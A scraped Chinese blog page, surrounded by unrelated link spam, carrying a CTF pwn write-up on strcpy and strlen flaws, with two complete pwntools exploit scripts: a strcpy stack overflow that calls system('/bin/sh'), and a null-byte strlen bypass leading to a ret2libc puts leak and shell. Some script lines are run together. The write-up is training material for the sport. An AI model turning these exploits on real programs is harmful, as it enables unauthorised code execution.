当前位置: 首页 > news >正文

手机网站建站教程杭州市建设网杭州造价平台

手机网站建站教程,杭州市建设网杭州造价平台,金城武重庆森林经典台词,阅读网站建设规划书strcpy,srtcmp,strlen函数漏洞利用 strcpy strcpy函数用于将字符串复制到另一个指针指向的空间中,遇到空字符 **b’x\00’**时停止,: 所以可以利用 strcpy不检查缓冲区 的漏洞(构造的字符串要以\0结尾),…

strcpy,srtcmp,strlen函数漏洞利用

strcpy

  1. strcpy函数用于将字符串复制到另一个指针指向的空间中,遇到空字符 **b’x\00’**时停止,:

    image-20240531103615735

  2. 所以可以利用 strcpy不检查缓冲区 的漏洞(构造的字符串要以\0结尾),进行缓冲区溢出攻击:

    例子:BUUCTF在线评测 (buuoj.cn)
    1. main函数中提供了4个函数供使用:

      image-20240531104018597

    2. 其中addlog函数进行输入,输入的长度位128个字符,调试观察他的栈上返回值(0x80488ec)在变量的上方,无法进行溢出,因此该函数只能作为输入:

      image-20240531104402495

      image-20240531104108026

    3. 后买你getflag函数中存在一个strcpy函数漏洞,可能可以进行栈溢出,动态调试观察其栈上的变化,可见只要 字符串长度超过0x4c 即可覆盖掉 getflag函数的返回值 ,在出去时即可挟持函数的控制流:

      image-20240531105005891

      image-20240531104533809

    4. 利用addlog函数输入构造的payload,长度超过0x4c即可,先只需要system函数地址,和’bin/sh/'字符串的地址即可,system函数程序自带,查询一下字符串:

      image-20240531105324125

    5. EXP:

      from pwn import *
      from LibcSearcher import *context(os='linux', arch='amd64', log_level='debug')p=remote("node5.buuoj.cn",28321)
      elf=ELF('./ciscn_2019_ne_5')p.recvuntil(b'Please input admin password:')
      payload = b'administrator'
      p.sendline(payload)
      p.recvuntil(b':')
      p.sendline(b'1')
      p.recv()#获取system地址
      sys_addr=elf.sym['system']
      sh_addr = 0x080482ea
      print(hex(sys_addr))#填充32位b'aaaa',作为system的返回值(不需要使用到,所以随便填)
      payload = b'a'*(0x4c)+p32(sys_addr)+b'aaaa'+p32(sh_addr)+b'\x00'
      p.sendline(payload)
      p.recvuntil(b':')
      p.sendline(b'4')
      p.interactive()

    strlen

    题目:[LitCTF 2023]狠狠的溢出涅~ | NSSCTF

    1. ida查看,题目给了一个栈溢出漏洞,虽然给了0x200的长度,但是后面用户strlen检查了输入的长度不能超过0x50,溢出长度明显不够。

    2. 但是可以利用strlen函数判断字符串时以 b’\x00’ 结尾,可以用b’\x00’绕过strlen的判断,EXP:

      from pwn import *
      from LibcSearcher import *
      # 设置系统架构, 打印调试信息
      # arch 可选 : i386 / amd64 / arm / mips
      context(os='linux', arch='amd64', log_level='debug')
      p = remote("node4.anna.nssctf.cn",28314)
      # p = process("./pwn4")
      elf = ELF('./pwn4')
      #获取got、plt地址
      got = elf.got['puts']
      plt = elf.plt['puts']
      print(hex(got),hex(plt))#获取传参地址
      pop_rdi_ret = 0x00000000004007d3
      main_addr = 0x00000000004006B0
      ret = 0x0000000000400556p.recvuntil(b'Leave your message:\n')
      #构造payload,获得puts函数的地址
      payload = b'\x00'*(0x60+8)+p64(pop_rdi_ret)+p64(got)+p64(plt)+p64(main_addr)
      p.sendline(payload)
      addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
      print(hex(addr))# libc = LibcSearcher('puts',addr)
      # libc_base = addr - libc.dump('puts')
      # sys_addr = libc_base + libc.dump('system')
      # str_bin = libc_base + libc.dump('str_bin_sh')
      # print(hex(libc_base),hex(sys_addr),hex(str_bin))#查libc库的偏移
      libc_base = addr - 0x84420
      str_bin = libc_base + 		0x1b45bd
      sys_addr = libc_base + 		0x52290
      print(hex(libc_base),hex(sys_addr),hex(str_bin))#第二次利用栈溢出
      payload = b'\x00'*(0x60+8)+p64(ret)+p64(pop_rdi_ret)+p64(str_bin)+p64(sys_addr)
      p.sendline(payload)
      p.sendline(b'cat flag')
      # 与远程交互
      p.interactive()
http://www.yayakq.cn/news/712307/

相关文章:

  • 澧县网站设计电商外贸平台大全
  • 建站公司做的网站侵权了网站建设涉及和描述的一些问题
  • 河南怎样做网站推广网站建设培训证书
  • 单页网站制作 在线 支付wordpress页面分栏
  • wordpress采集处理样式中小企业网站seo
  • 惠州网站设计公司网站建设济南云畅网络技术有限公司
  • 手机商城网站源码网站建设智能优化
  • 做外贸一般去什么网站找客户网站服务器租用价格表
  • 怎么做公司的网站宣传天津建设工程合同备案网站
  • 乌镇网站开发文档呼和浩特做网站哪家公司好
  • 建设干部培训中心网站做黄图网站接广告好赚吗
  • 移动端网站模板怎么做的在线是免费生成器
  • 固原微信网站建设江门整站优化
  • 天猫网站是怎么做seo优化的淮北哪些企业做网站
  • 直播网站创做有专门做网站的公司
  • 情感视频素材网站百度seo什么意思
  • 青岛网站优化价格网站打不开别人能打开
  • 西安网站建设技术外包信息技术教案 建设我们的网站
  • 我要学做网站网站首页不被收录
  • 西部数码网站备份做徽章的网站
  • 网站分析步骤好看 大气的网站
  • 戴尔网站建设成功的关键wordpress 石嘴山信息
  • wap手机网站开发asp经验网站制作过程流程
  • 顺德网站制作公司哪家好wordpress英文企业主题下载
  • 局域网网站怎么做软件开发赚钱多吗
  • 网站建设公司长春建新建设集团有限公司网站
  • 网站后台如何取消验证码登陆网站开发遇到的风险
  • phpcms二级栏目文章列表调用网站最新文章的方法做网站有兼职吗
  • 推荐几个安全没封的网站2021免费空间域名可以做淘宝客网站推广吗
  • 六安网站建设公司easyphp搭建wordpress